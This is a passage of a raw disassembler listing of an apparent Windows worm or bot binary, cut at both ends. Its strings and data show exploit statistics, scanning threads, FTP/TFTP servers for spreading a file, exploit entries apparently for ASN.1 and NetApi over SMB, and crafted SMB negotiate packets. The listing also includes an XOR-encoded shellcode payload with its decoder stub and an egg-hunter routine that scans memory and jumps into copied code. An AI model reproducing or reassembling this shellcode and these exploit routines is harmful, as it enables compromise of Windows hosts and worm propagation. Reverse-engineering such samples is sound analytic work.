sub_403E11+D8r dword_418198 dd 71AB868Dh ; DATA XREF: sub_403E11+17Er dword_41819C dd 71AB12F8h ; DATA XREF: sub_402972+2Cr ; sub_4043F8+35r dword_4181A0 dd 71AB1746h ; DATA XREF: sub_402972+3Dr ; sub_403E11+B3r ... dword_4181A4 dd 71AB3E5Dh ; DATA XREF: sub_402972+50r ; sub_4043F8+57r dword_4181A8 dd 71AB3F8Dh ; DATA XREF: sub_402972+7Br ; sub_403E11+8Dr dword_4181AC dd 71AB5690h ; DATA XREF: sub_402972+B5r ; sub_402972+28Br ... dword_4181B0 dd 71AB1A6Dh ; DATA XREF: sub_402972+26Fr ; sub_402972:loc_402DC8r ... dword_4181B4 dd 71AB3C22h ; DATA XREF: sub_4023B8+AFr ; sub_402972+15r ... dword_4181B8 dd 71AB1AF4h ; DATA XREF: sub_4020C0+12r ; sub_402972+A4r ... dword_4181BC dd 71AB1890h ; DATA XREF: sub_401F1D+4Cr ; sub_403E11+115r dword_4181C0 dd 71AB1B7Bh ; DATA XREF: sub_417A78r align 8 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4022FD+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_418208 dq 1.388888888888889e-2 ; DATA XREF: sub_402112+2Fr dbl_418210 dq 1.666666666666667e-1 ; DATA XREF: sub_402112+15r dbl_418218 dq 1.333333333333333 ; DATA XREF: sub_40215E+7Ar dword_418220 dd 2 dup(0) ; DATA XREF: sub_4022FD+4Do ; sub_40263D+57o ... dbl_418228 dq -3.0517578125e-5 ; DATA XREF: sub_40301D+1Er dword_418230 dd 0 ; DATA XREF: sub_403245+24r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh byte_41862C db 8Dh ; DATA XREF: sub_40EDD8+4Ar db 0EFh, 2, 2Dh dbl_418630 dq 9.765625e-4 ; DATA XREF: sub_4032EE+2B8r ; sub_4032EE+2CDr ... dbl_418638 dq 1.0 ; DATA XREF: sub_40CDEA+6Cr ; sub_40CF33+6Cr ... dword_418640 dd 0FFFFFFFFh, 40EC5Bh, 40EC6Fh ; DATA XREF: sub_40EB84+5o byte_41864C db 6 ; DATA XREF: sub_40EDD8:loc_40EE2Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: .nsp0:off_41FC7Co unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: .nsp0:off_41FC78o align 10h a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_4100DB+8Eo align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_4100DB+4Fo align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aLog_0 db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .nsp0:off_421CBCo align 8 dbl_4187A8 dq 0.0 ; DATA XREF: sub_411832+8Cr ; sub_411832+ACr ... dbl_4187B0 dq 4.195835e6 ; DATA XREF: sub_411D47+Fr dbl_4187B8 dq 3.145727e6 ; DATA XREF: sub_411D47+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_411D85+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_411D85o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_411EAC+93o align 10h dword_4187F0 dd 0FFFFFFFFh, 412597h, 4125A1h, 0 ; DATA XREF: sub_412530+5o dword_418800 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41265F+5o dd offset loc_41271D align 10h dd offset sub_4126FB dd offset sub_412705 dword_418818 dd 0FFFFFFFFh, 41294Dh, 412951h, 0 ; DATA XREF: sub_412795+5o dword_418828 dd 0FFFFFFFFh, 4129AFh, 4129B8h, 0 ; DATA XREF: sub_412959+5o dword_418838 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_412A3C+5o dd offset loc_412A8D align 8 dd offset loc_412A79 dd offset loc_412A7D dword_418850 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_412A92+5o dd offset loc_412AE3 align 10h dd offset loc_412ACF dd offset loc_412AD3 dword_418868 dd 2 dup(0) ; DATA XREF: sub_413455+36o ; sub_415447+39o ... dword_418870 dd 0FFFFFFFFh, 413565h, 413569h, 0FFFFFFFFh, 413619h, 41361Dh ; DATA XREF: sub_413455+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh dd 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 10h aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .nsp0:off_422304o db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_414679+119o align 4 asc_418B3C db 0Ah ; DATA XREF: sub_414679+F1o db 0Ah,0 align 10h aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_414679+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_414679+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_414679+7Do align 4 dword_418B78 dd 0FFFFFFFFh, 415540h, 415544h ; DATA XREF: sub_415447+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_415A78+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_416004+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_416004+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_416004+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_416808:loc_4168FDo align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_416808+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_416808+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_416808+ADo align 4 dword_418C18 dd 0FFFFFFFFh, 417346h, 41734Ah, 0FFFFFFFFh, 4173B5h, 4173B9h ; DATA XREF: sub_41718F+5o dd 418D40h off_418C34 dd offset loc_417918 ; DATA XREF: sub_417720+4Do ; sub_417934+Co dd offset sub_4177DE dd offset sub_4178FB aStringTooLong db 'string too long',0 ; DATA XREF: sub_417720+1Eo dd offset dword_418D78 off_418C54 dd offset loc_417845 ; DATA XREF: sub_41777A+4Eo ; sub_417808+11o ... dd offset sub_4177DE ; --------------------------------------------------------------------------- jmp short near ptr byte_418CD5 ; --------------------------------------------------------------------------- dw 41h dword_418C60 dd 0FFFFFFFFh ; DATA XREF: sub_41777A+3Br ; sub_417861+34r dd offset dword_418DC8 off_418C68 dd offset loc_417A00 ; DATA XREF: sub_41794C+4Do ; sub_417A1C+Co dd offset sub_4177DE dd offset sub_4179E3 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41794C+1Eo dd offset dword_418DF8 off_418C90 dd offset sub_417A84 ; DATA XREF: sub_417AA0+8o ; sub_417ADD+8o ... dd offset sub_417B3D aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_417B3D+7o align 4 dd offset dword_418E40 off_418CB0 dd offset loc_417B5F ; DATA XREF: sub_417B4Ao ; .nsp0:off_422A28o ... align 8 dword_418CB8 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_417B7B+Eo dd 3, 19930520h, 0 db 0 byte_418CD5 db 3 dup(0) ; CODE XREF: .nsp0:00418C5Cj off_418CD8 dd offset off_422A28 ; DATA XREF: .nsp0:00418D28o ; .nsp0:00418D5Co ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_418CF0 dd offset off_422A40 ; DATA XREF: .nsp0:00418D24o ; .nsp0:00418D58o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) off_418D08 dd offset off_422A60 ; DATA XREF: .nsp0:00418D20o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_418D08 dd offset off_418CF0 dd offset off_418CD8 dword_418D2C dd 3 dup(0) ; DATA XREF: .nsp0:00418D50o dd 3, 418D20h, 3 dup(0) dd offset off_422A60 dd offset dword_418D2C+4 align 8 dd offset off_418CF0 dd offset off_418CD8 dword_418D60 dd 4 dup(0) ; DATA XREF: .nsp0:00418D88o dd 2, 418D58h dword_418D78 dd 3 dup(0) ; DATA XREF: .nsp0:00418C50o dd offset off_422A40 dd offset dword_418D60+8 align 10h off_418D90 dd offset off_422A80 ; DATA XREF: .nsp0:00418DA8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_418D90 dd offset off_418CF0 dd offset off_418CD8 dd 0 db 0 ; DATA XREF: .nsp0:00418DD8o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 418DA8h dword_418DC8 dd 3 dup(0) ; DATA XREF: .nsp0:00418C64o dd offset off_422A80 dd offset unk_418DB8 dd offset off_418CD8 dword_418DE0 dd 4 dup(0) ; DATA XREF: .nsp0:00418E08o dd 1, 418DDCh dword_418DF8 dd 3 dup(0) ; DATA XREF: .nsp0:00418C8Co dd offset off_422A28 dd offset dword_418DE0+8 align 10h off_418E10 dd offset off_422AA0 ; DATA XREF: .nsp0:00418E28o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_418E10 dword_418E2C dd 3 dup(0) ; DATA XREF: .nsp0:00418E50o dd 1, 418E28h dword_418E40 dd 3 dup(0) ; DATA XREF: .nsp0:00418CACo dd offset off_422AA0 dd offset dword_418E2C+4 align 8 dd 0FFFFFFFFh, 417BC0h, 0 dd offset sub_417BB8 dword_418E68 dd 19930520h, 2, 418E58h, 4 dup(0) ; DATA XREF: .nsp0:loc_417BD7o dd 0FFFFFFFFh, 417BE4h, 0 dd offset loc_417BEC dword_418E94 dd 19930520h, 2, 418E84h, 4 dup(0) ; DATA XREF: .nsp0:loc_417BF4o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 4 dup(0) dd offset loc_4028A3 dd 2 dup(0) dd 2 dup(1), 418EC0h dword_418EE4 dd 19930520h, 2, 418EB0h, 1, 418ED0h, 3 dup(0) ; DATA XREF: .nsp0:loc_417C00o dd offset off_422A28 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 417ADDh, 2 dup(0) dd offset off_422A40 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 417861h, 2 dup(0) dd offset off_422A60 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 417934h, 0 dword_418F60 dd 3, 418F40h, 418F20h, 418F00h ; DATA XREF: .nsp0:00418F7Co dword_418F70 dd 0 ; DATA XREF: sub_417720+47o ; sub_4178FB+12o dd offset sub_4178BE dd 0 dd offset dword_418F60 dword_418F80 dd 19930520h, 1, 418FA0h, 5 dup(0) ; DATA XREF: .nsp0:loc_417C14o dd 0FFFFFFFFh, 417C0Ch dword_418FA8 dd 19930520h, 1, 418FC8h, 5 dup(0) ; DATA XREF: .nsp0:loc_417C28o dword_418FC8 dd 0FFFFFFFFh, 417C20h, 2, 418F20h, 418F00h, 0 ; DATA XREF: .nsp0:00418FECo dword_418FE0 dd 0 ; DATA XREF: .nsp0:004177FDo dd offset sub_417808 dd 0 dd offset dword_418FC8+8 dword_418FF0 dd 19930520h, 1, 419010h, 5 dup(0) ; DATA XREF: .nsp0:loc_417C3Co dd 0FFFFFFFFh, 417C34h dword_419018 dd 19930520h, 1, 419038h, 5 dup(0) ; DATA XREF: .nsp0:loc_417C50o dd 0FFFFFFFFh, 417C48h dword_419040 dd 19930520h, 1, 419060h, 5 dup(0) ; DATA XREF: .nsp0:loc_417C64o dd 0FFFFFFFFh, 417C5Ch, 0 dd offset off_422A80 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 417A1Ch, 0 dword_419088 dd 3, 419068h, 418F20h, 418F00h ; DATA XREF: .nsp0:004190A4o dword_419098 dd 0 ; DATA XREF: sub_41794C+47o ; sub_4179E3+12o dd offset sub_4179A6 dd 0 dd offset dword_419088 dword_4190A8 dd 19930520h, 1, 4190C8h, 5 dup(0) ; DATA XREF: .nsp0:loc_417C78o dd 0FFFFFFFFh, 417C70h dword_4190D0 dd 19930520h, 1, 4190F0h, 5 dup(0) ; DATA XREF: .nsp0:loc_417C8Co dd 0FFFFFFFFh, 417C84h, 8 dup(0) dd 199DAh, 18000h, 3B8h dup(0) dword_41A000 dd 0 ; DATA XREF: sub_40E785+1Fo dd offset sub_402951 dd offset sub_417A34 dword_41A00C dd 0 ; DATA XREF: sub_40E785+1Ao dword_41A010 dd 0 ; DATA XREF: sub_40E785+10o dd offset sub_40D822 dd offset sub_413A3D dd offset sub_4149E3 ; --------------------------------------------------------------------------- retn 4153h ; --------------------------------------------------------------------------- align 4 dword_41A024 dd 0 ; DATA XREF: sub_40E785:loc_40E790o dword_41A028 dd 0 ; DATA XREF: sub_40E7D4+65o dd offset sub_414A88 dword_41A030 dd 0 ; DATA XREF: sub_40E7D4:loc_40E834o dword_41A034 dd 0 ; DATA XREF: sub_40E7D4+76o dd offset loc_4153D3 dword_41A03C dd 0 ; DATA XREF: sub_40E7D4:loc_40E845o dword_41A040 dd 682D61h, 0 ; DATA XREF: sub_40154B+FAo db 2 dup(0) word_41A04A dw 5341h ; DATA XREF: .nsp0:00402FC0o dd 2D312E4Eh, 50545448h, 5 dup(0) dword_41A068 dd 50h ; DATA XREF: sub_401000+1Er ; sub_4077FD+1C91r ... off_41A06C dd offset sub_4023B8 ; DATA XREF: sub_40154B+17Cr dword_41A070 dd 0 ; DATA XREF: sub_401000+2Eo ; sub_4023B8+1BCr ... dword_41A074 dd 1 ; DATA XREF: sub_401141+1Er dd 1, 32682D61h, 0 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 4023B8h, 0 dd 2 dup(1), 33682D61h, 0 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 4023B8h, 0 dd 2 dup(1), 3174656Eh, 0 dd 654E0000h, 69706174h, 3933312Dh, 5 dup(0) dd 8Bh, 402F69h, 0 dd 2 dup(1), 3274656Eh, 0 dd 654E0000h, 69706174h, 3534342Dh, 5 dup(0) dd 1BDh, 402F69h, 0 ; CODE XREF: sub_41A1AA:loc_41A1BFj dd 2 dup(1), 0Fh dup(0) ; --------------------------------------------------------------------------- jmp short loc_41A1BA ; =============== S U B R O U T I N E ======================================= sub_41A1AA proc near ; CODE XREF: sub_41A1AA:loc_41A1BAp pop edx dec edx xor ecx, ecx mov cx, 166h loc_41A1B2: ; CODE XREF: sub_41A1AA+Cj xor byte ptr [edx+ecx], 99h loop loc_41A1B2 jmp short loc_41A1BF ; --------------------------------------------------------------------------- loc_41A1BA: ; CODE XREF: .nsp0:0041A1A8j call sub_41A1AA loc_41A1BF: ; CODE XREF: sub_41A1AA+Ej jo short near ptr dword_41A158+2 cwde cdq cdq retn sub_41A1AA endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_401000+81o align 4 aSD db ' %s: %d,',0 ; DATA XREF: sub_401000+42o align 4 unk_41A348 db 1Fh ; DATA XREF: sub_401000+11o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aExploitStatist db ' Exploit Statistics:',0 align 4 unk_41A36C db 1Fh ; DATA XREF: sub_4010CA+42o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aScanNotActive_ db ' Scan not active.',0 align 4 dword_41A38C dd 273021Fh, 6E61631Fh, 2BB0220h, 754320BBh, 6E657272h ; DATA XREF: sub_4010CA+2Co dd 50492074h, 7325203Ah, 2Eh dword_41A3AC dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_401141+259o aFailedToStartS db ' Failed to start server, error: <%d>.',0 align 10h dword_41A3E0 dd 266021Fh, 2070741Fh, 0BB02BB02h ; DATA XREF: sub_401141+1FBo aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 unk_41A420 db 1Fh ; DATA XREF: sub_401141+138o db 2, 74h, 2 db 1Fh db 66h, 74h, 70h db 20h db 2, 0BBh, 2 aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 align 8 unk_41A458 db 1Fh ; DATA XREF: sub_401141+D8o ; sub_4077FD+31A9o db 2, 74h, 2 db 1Fh db 66h, 74h, 70h db 20h db 2, 0BBh, 2 aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_401412+38o ; sub_4058DC+46o unk_41A4A8 db 1Fh ; DATA XREF: sub_401704+1E0o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 unk_41A4E8 db 1Fh ; DATA XREF: sub_401704+168o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aFailedToStartW db ' Failed to start worker thread, error: <%d>.',0 align 4 unk_41A524 db 1Fh ; DATA XREF: sub_401704+103o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_41A55C db 1Fh ; DATA XREF: sub_401704+87o db 2, 73h, 2 db 1Fh db 63h, 61h, 6Eh db 20h db 2, 0BBh, 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 8 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_401BC7+B2o align 4 dword_41A5A4 dd 10FF8h, 0 ; DATA XREF: sub_401BC7+6Ao dword_41A5AC dd 10FF8h ; DATA XREF: sub_401BC7+79o dword_41A5B0 dd 7FFDF020h, 0 ; DATA XREF: sub_401BC7+162o dword_41A5B8 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_401FE1+78o dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_41A640 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401FE1+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_41A670 dd 0 ; DATA XREF: sub_401FE1+44o dd 800000D4h, 2 dup(0) unk_41A680 db 81h ; ; DATA XREF: sub_4020C0+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 10h byte_41A6D0 db 41h ; DATA XREF: sub_40215E+108r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 8 ; =============== S U B R O U T I N E ======================================= sub_41A718 proc near ; DATA XREF: sub_4023B8+82o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_41A814 push dword ptr [esi] push 63D61209h call sub_41A82A mov [esi+8], eax call sub_41A7DD push dword ptr [esi+4] push 0CA2BD06Bh call sub_41A82A mov [esi+0Ch], eax call sub_41A78F push dword ptr [esi+4] push 4C0297FAh call sub_41A82A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_41A718 endp ; =============== S U B R O U T I N E ======================================= sub_41A78F proc near ; CODE XREF: sub_41A718+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_41A7B8 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_41A78F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A7B8 proc near ; CODE XREF: sub_41A78F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_41A7C7: ; CODE XREF: sub_41A7B8+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_41A7D4 inc ebx jmp short loc_41A7C7 ; --------------------------------------------------------------------------- loc_41A7D4: ; CODE XREF: 